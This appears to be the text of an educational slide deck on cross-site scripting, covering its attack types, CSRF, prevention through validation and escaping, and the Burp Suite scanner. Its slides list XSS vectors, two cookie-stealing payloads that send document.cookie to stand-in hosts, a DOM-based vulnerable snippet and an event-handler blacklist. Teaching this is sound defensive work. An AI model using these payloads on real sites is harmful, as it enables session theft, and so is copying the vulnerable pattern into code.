Cross Site Scripting ( XSS)

Cross Site Scripting (XSS)by Amit Tyagi

What is XSSCross Site ScriptingXSS is a vulnerability which when present in websites or web applications, allows malicious users (Hackers) to insert their client side code(normally JavaScript) in those web pages. When this malicious code along with the original webpage gets displayed in the web client (browsers like IE, Mozilla etc), allows Hackers to gain greater access of that page.

XSS (-ve) effectsstealing other user’s cookiesstealing their private informationperforming actions on behalf of other usersredirecting to other websitesShowing ads in hidden IFRAMES and pop-ups

How XSS works Web server gets data from web client (POST, GET, COOKIES etc) with the request. So a malicious User can include client side code snippets (JavaScript) into the data. For example : Amit<script>alert (‘this site has been hacked’) ;</script>

XSS inputNote: This image has been created using Firebug and this XSS hole is not present in google.com

XSS contd.Let’s assume Web server performs no validationor filtration on this data.Now web server either saves this data + XSS code to some persistent storage (like database) or print this data back in the HTML.When this XSS code, comes from server along with HTML into the web client (Browser) and executes as server’s own code, it gets access whole HTML document, page URL, cookies etc.

XSSServerhttp request with XSS JavaScripthttp response with XSS JavaScriptHacker’s BrowserHacker’s Browser

XSS outputNote: This image has been created using Firebug and this XSS hole is not present in google.com

XSS vectors<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT><IMG SRC=javascript:alert('XSS')><IMG SRC=javascript:alert("XSS")><IMG SRC=`javascript:alert("RSnake says, 'XSS'")`><IMG """><SCRIPT>alert("XSS")</SCRIPT>"><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))><IMG SRC=javascript:alert('XSS')>

Type of XSS attacksNon-persistentPersistentDOM Based

Non-persistent When XSS code only gets displayed in the next page to the same user and not gets saved into persistent storage like database. This type of attack is less vulnerable, because Hacker can see only their own cookies and can make modifications in their own current opened pages. The risk with these kinds of XSS holes is that it opens way for Cross Site Request Forgery CSRF. CSRF allows a hacker to place some links Example : same as given previously to explain XSS

CSRFCross-site request forgery is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. This can be done by placing some hidden links in some bad website. for example : <img src="http://bank.example/withdraw?account=bob<script>document.location=‘http://bad-domain.com/store_data?cookie=‘ + document.cookie;</script>

CSRFBank ServerBad Server 1http request with XSShttp response with CSRF Linkhttp response with XSS<img src="http://bank.example/withdraw?account=bob<script>document.location=‘http://bad-domain.com/store_data?cookie=‘ + document.cookie;</script>Bad Server 2Normal User’s BrowserNormal User’s Browserhttp request with cookies

Persistent XSS In persistent type of XSS attack, XSS code gets saved into persistent storage like database with other data and then it is visible to other users also. One example of this kind of attacks is possible blog websites, where hacker can add their XSS code along with the comment text and if no validation or filtering is present on the server, XSS code can successfully saved into the database. After this if anyone (other users) open the page into their browsers, XSS code can execute and can perform a variety of harmful actions. This type of attack is more vulnerable, because Hacker can steal cookies and can make modifications in the page. The risk with these kinds of attacks is any third party hacker can use this vulnerability to perform some actions on behalf of other users. abc<script>window.location = "http://www.hackers.com?yid=" + document.cookie;</script>

Persistent XSS – Step 1DBStep 1Server saves XSS code to DBServerhttp request with XSS JavaScriptHacker’s Browser

Persistent XSS – Step 2DBStep 2Server saves XSS code to DBServerhttp request with XSS JavaScripthttp response with XSS JavaScriptHacker BrowserNormal User Browser

Persistent XSSNote: This image has been created using Firebug and this XSS hole is not present in blogger.com

DOM based attack DOM Based XSS (or type-0 XSS) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment. This is in contrast to other XSS attacks (stored or reflected), wherein the attack payload is placed in the response page (due to a server side flaw). Example …var pos = document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); … http://www.vulnerable.site/welcome.html?name=Joe

PreventionNever trust the user input dataNo matter where it’s coming from ( GET, POST, COOKIE etc.

Validation at client side By performing client side (JavaScript) validation, before submitting the data to server, helps only in usability aspect of the website. It can’t provide any actual security, because user can disable the JavaScript. Many JavaScript libraries and frameworks are available for this. For example in DOJO framework <label for="firstName">First Name: </label> <input type="text" id="firstName" name="firstName" dojoType="dijit.form.ValidationTextBox" required="true" propercase="true" promptMessage="Enter first name." invalidMessage="First name is required." trim="true”/><br>

Validation at server By sanitizing the input data, we can prevent the malicious code to enter in the system. Checking the proper data types helps in cleaning the data. First of all we should restrict numeric data for numeric fields and only alphanumeric characters for text fields White lists – Allow <strong>, <em> and <br> only – Does help, but not 100% Blacklists– Block <script> and other attributes such as onload, onclick, onmouseover etc.

Escaping output at server Problem characters can include < > " ‘ \ &.These characters can be replaced with HTML character entities. For example, < can be replaced with <. 5 Rules for escaping output #1 - HTML Escape before inserting into element content #2 - Attribute Escape before inserting into attributes #3 - JavaScript Escape before inserting into JavaScript data values #4 - CSS Escape before inserting into style property values #5 - URL Escape before inserting into URL attributes

Escaping text before updating DOM at client sideTo avoid DOM based XSS attacks.

Web vulnerability scanner ApplicationsThese applications provide the developer to test their web applications for various types of vulnerabilities. These applications allow navigating through the web sites or web applications and performing various types of attacks (manual or automated). Both free and commercial applications are available (http://sectools.org/web-scanners.html)

Burp suiteBurp suite allows an attacker to combine manual and automated techniques to enumerate, analyze, attack and exploit web applications. The various burp tools work together effectively to share information and allow findings identified within one tool to form the basis of an attack using another.Download: http://portswigger.net/suite/download.htmlDocumentation: http://portswigger.net/suite/help.html

Burp Tools Proxy - an intercepting HTTP/S proxy server which operates as a man-in-the-middle between the end browser and the target web application, allowing you to intercept, inspect and modify the raw traffic passing in both directions.Spider - an intelligent application-aware web spider which allows complete enumeration of an application's content and functionality.Scanner [Pro version only] - an advanced tool for performing automated discovery of security vulnerabilities in web applications.Intruder- a highly configurable tool for automating customized attacks against web applications, such as enumerating identifiers, harvesting useful data, and fuzzing for common vulnerabilities.Repeater - a tool for manually manipulating and re-issuing individual HTTP requests, and analyzing the application's responses.Sequencer- a tool for analyzing the quality of randomness in an application's session tokens or other important data items which are intended to be unpredictable.Decoder- a tool for performing manual or intelligent decoding and encoding of application data.Comparer- a utility for performing a visual "diff" between any two items of data, normally pairs of related requests and responses.

How to useRun the application and set the browser proxy to localhost: 8080Open any site and Burp will create a sitemap tree in the left panel, as per the site traversal. Select any URL from the tree and add it to intruder. Add different type of payloads for attack, i.e.1<script >alert(1);</script>Go to Intruder and click start attack.Burp suite will show the results in a new window.

Refrenceshttp://en.wikipedia.orghttp://ha.ckers.org/xss.htmlhttp://portswigger.netwww

Cross Site Scripting ( XSS)

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Cross Site Scripting ( XSS)